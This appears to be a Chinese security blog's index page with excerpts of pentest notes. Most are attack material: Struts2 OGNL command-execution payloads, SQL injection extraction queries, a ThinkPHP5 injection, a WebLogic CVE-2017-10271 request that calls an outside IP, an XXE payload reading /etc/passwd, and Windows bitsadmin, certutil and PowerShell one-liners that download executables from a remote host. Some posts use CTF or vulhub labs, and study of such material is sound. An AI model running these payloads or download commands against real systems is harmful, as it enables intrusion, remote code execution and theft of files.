关于PHP SESSION反序列化

0x00 环境 公司出了一些ctf,说要摸底,然后根据答题成绩来分配相应工作。。。。。 其中有一道是php反序列化,直接用的就是 第三届4.29“安恒杯”网络安全技术大赛初赛第三个web题 我比较菜,这里根据网上已有writeup做了一遍,这里记录一下。。。。 reber@wyb:~$ html cat /proc/version Linux version 4.4.0-31-generic (buildd@lgw01-43) (gcc version 4.8.4 (Ubuntu 4.8.4-2ubuntu1~14.04.3) ) #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 reber@wyb:~$ html php --version PHP 5.5.9-1ubuntu4.21 (cli) (built: Feb 9 2017 20:54:58) Copyright (c) 1997-2014 The PHP Group Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies with Zend OPcache v7.0.3, Copyright (c) 1999-2014, by Zend Technologies reber@ubuntu-linux:~$ apachectl -v Server version: Apache/2.


Struts 2相关漏洞payload

0x00 S2-001 该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。 %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} 0x01 S2-005 影响版本: 2.0.0 - 2.1.8.1 http://aa.com/index.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1 0x02 S2-007 影响版本: 2.0.0 - 2.2.3 当配置了验证规则 <ActionName>-validation.xml 时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回。 ' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + ' 0x03 S2-012 影响版本: 2.1.0 - 2.3.13 这里 UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。 %{#a=(new java.lang.ProcessBuilder(new java.


SQL注入的一些tips

环境:MySQL 5.5.47 0x00 注入点在Order by后面 mysql> select id,name,content from msg where id>1 order by id into outfile 'C:\\Apps\\phpStudy\\WWW\\a.txt'; Query OK, 1 row affected (0.01 sec) mysql> select id,name,content from msg where id>1 order by updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1),0x7e),1); ERROR 1105 (HY000): XPATH syntax error: '~msg~' mysql> select id,name,content from msg where id>1 order by name procedure analyse(updatexml(1,concat(0x7e,database(),0x7e),1),1); ERROR 1105 (HY000): XPATH syntax error: '~rtest~' mysql> select name from msg where id>1 order by if(1=1,1,(select 1 union select 2)); +----------+ | name | +----------+ | xiaohong | +----------+ 1 row in set (0.


ThinkPHP5的where函数

0x00 关于thinkphp5的where函数 年前公司委托别的公司开发一个网站,使用的是ThinkPHP5.0,存在一个注入漏洞,分析后发现是因为tp5中的where函数使用不当,tp5中where这个函数可以接收字符串和数组这两种类型的参数来进行查询,而在用字符串这种传递方式时,如果使用不当的话就可能会出现sql注入。 0x01 示例代码 tp5/application/home/controller/Index.php <?php namespace app\home\controller; use think\Db; class Index { public function testDb() { $msg = db('msg'); $id = input('param.id',1); //不存在id的话默认为1 $where = "id=".$id; $result = $msg->where($where)->select(); // $result = $msg->where(['id'=>$id])->select(); echo $msg->getLastSql(); echo '<br/><br/>'; echo var_dump($result); } } 访问http://127.0.0.1/Source/tp5/home/index/testdb/id/1时返回的语句分别如下: SELECT * FROM `msg` WHERE ( id=1 ) SELECT * FROM `msg` WHERE `id` = 1 前者存在注入,如下: 主要调用文件及函数顺序如下: tp5/thinkphp/library/think/db/Query.php __construct() tp5/thinkphp/library/db/Builder.php __construct() tp5/thinkphp/library/think/db/Query.php where() tp5/thinkphp/library/think/db/Query.


WebLogic WLS组件反序列化漏洞

0x00 WebLogic WLS组件反序列化漏洞 这个漏洞的编号是CVE-2017-10271,是利用Oracle WebLogic中WLS 组件的反序列化漏洞进行远程代码执行的,刚出来时没有看,现在记录一下 漏洞环境:https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271 0x01 访问远程文件 POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: 127.0.0.1:7001 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: JSESSIONID=DJbghZRGlJf0PyyLc52n4GdvrbDkrxKWGDpwnncFpHnqsDjMT68F!-298356074 Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Length: 688 Content-Type: text/xml <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.8" class="java.beans.XMLDecoder"> <object id="url" class="java.net.URL"> <string>http://114.115.123.123:80/aaaaaaa</string> </object> <object idref="url"> <void id="stream" method = "openStream" /> </object> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope> 0x02 写入文件 POST /wls-wsat/CoordinatorPortType HTTP/1.


Metasploit简单提权

0x00 前提 虚拟机有一个shell:http://10.11.11.20/a.php,物理机IP是211.222.222.72 外网安装msf的主机:外网IP是114.115.123.123,内网IP是192.168.0.195 0x01 查看主机基本信息 菜刀连接shell,终端执行systeminfo C:\Apps\phpStudy\WWW\> systeminfo 主机名: REBER-WIN7 OS 名称: Microsoft Windows 7 专业版 OS 版本: 6.1.7600 ��ȱ Build 7600 OS 制造商: Microsoft Corporation OS 配置: 独立服务器 OS 构件类型: Multiprocessor Free 注册的所有人: reber 注册的组织: 产品 ID: 00371-868-0000007-85272 初始安装日期: 2017/12/26, 7:23:00 系统启动时间: 2018/2/26, 9:52:14 系统制造商: Parallels Software International Inc. 系统型号: Parallels Virtual Platform 系统类型: x64-based PC 处理器: 安装了 1 个处理器。 [01]: Intel64 Family 6 Model 70 Stepping 1 GenuineIntel ~2495 Mhz BIOS 版本: Parallels Software International Inc.


Windows终端下载文件和执行远程文件

环境:Windows Server 2008 R2 Enterprise 0x00 bitsadmin下载文件 bitsadmin /rawreturn /transfer getfile http://114.115.123.123/a.exe C:\Windows\Temp\a.exe bitsadmin /rawreturn /transfer getpayload http://114.115.123.123/a.zip C:\Windows\Temp\a.zip bitsadmin /transfer myDownLoadJob /download /priority normal http://114.115.123.123/a.exe C:\Windows\Temp\a.exe 0x01 certutil下载文件 保存在当前目录 certutil -urlcache -split -f http://114.115.123.123/a.exe a.exe 有时会下载二进制文件的base64编码后的字符串,然后再解码 本地:certutil -encode cc.exe base64.txt 目标:certutil -urlcache -split -f http://114.115.123.123/base64.txt 目标:certutil -decode base64.txt cc.exe 文件会以二进制形式缓存到目录:C:\Users\Administrator\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content certutil -urlcache -f http://114.115.123.123/a.exe 0x02 powershell下载文件 有的时候PowerShell的执行权限会被关闭,需要使用如下的语句打开。 C:>powershell set-executionpolicy unrestricted powershell (new-object System.Net.WebClient).DownloadFile("http://114.115.123.123/a.exe","C:\Windows\Temp\a.exe") #-w hidden 下载后终端自动退出 powershell -w hidden -c (new-object System.


Python中执行系统命令

0x00 使用模块 在python执行系统命令一般可以通过3个模块来实现,这三个模块是:os、commands、subprocess 0x01 os模块执行系统命令 一般用os模块的system函数来执行一些简单的命令 >>> import os >>> os.system("pwd") /Users/reber 0 0x02 commands模块执行系统命令 commands这个模块在python3中被移除了 >>> import commands >>> commands.getoutput("pwd") '/Users/reber' >>> commands.getstatusoutput("pwd") (0, '/Users/reber') #返回状态码以及结果 0x03 subprocess模块执行系统命令 task.py代码 def aaa(): s = 0 for x in range(3): time.sleep(1) s += x return s print(aaa()) call函数执行命令(会阻塞到任务完成) 函数原型:subprocess.call(args, *, stdin=None, stdout=None, stderr=None, shell=False) >>> from subprocess import call >>> call(["ls","-l"]) #传入一个list total 16 -rw-r--r-- 1 reber staff 80 8 16 16:19 README.


打包下载php文件

0x00 代码如下 <?php function addFileToZip($zip,$zipname,$path){ $handler = opendir($path); while(($filename = readdir($handler))!==false) { if($filename != "." && $filename != ".." && $filename!= $zipname){ if (is_dir($path."/".$filename)) { //如果读取的某个对象是文件夹,则递归 addFileToZip($zip,$zipname,$path."/".$filename); } else { $zip->addFile($path."/".$filename); } } } @closedir($path); } function tar($zipname,$path) { $zip = new ZipArchive(); //使用本类,linux需开启zlib,windows需取消php_zip.dll前的注释 if ($zip->open($zipname, ZipArchive::OVERWRITE) === TRUE) { addFileToZip($zip,$zipname,$path);$zip->close(); } else { exit('Unable to open file, or file creation failed!'); } } function download($zipname) { if(!file_exists($zipname)){ exit("Zip file does not exist!


XXE漏洞

0x00 XXE XML文件作为配置文件(spring、Struts2等)、文档结构说明文件(PDF、RSS等)、图片格式文件(SVG header)应用比较广泛 外部引用时可能会出现XXE漏洞,XXE漏洞是针对使用XML交互的Web应用程序的攻击方法 0x01 示例代码 实验环境:https://github.com/vulhub/vulhub/tree/master/php/php_xxe simplexml_load_string.php <?php $data = file_get_contents('php://input'); $xml = simplexml_load_string($data); echo $xml->name; 0x02 读取文件 外部引用读取passwd <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xdsec [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root> <name>&xxe;</name> </root> <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xdsec [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> ]> <root> <name>&xxe;</name> </root> 外部引用dtd文件读取passwd evil.dtd中的内容为:<!ENTITY b SYSTEM "file:///etc/passwd">

可以返回顶部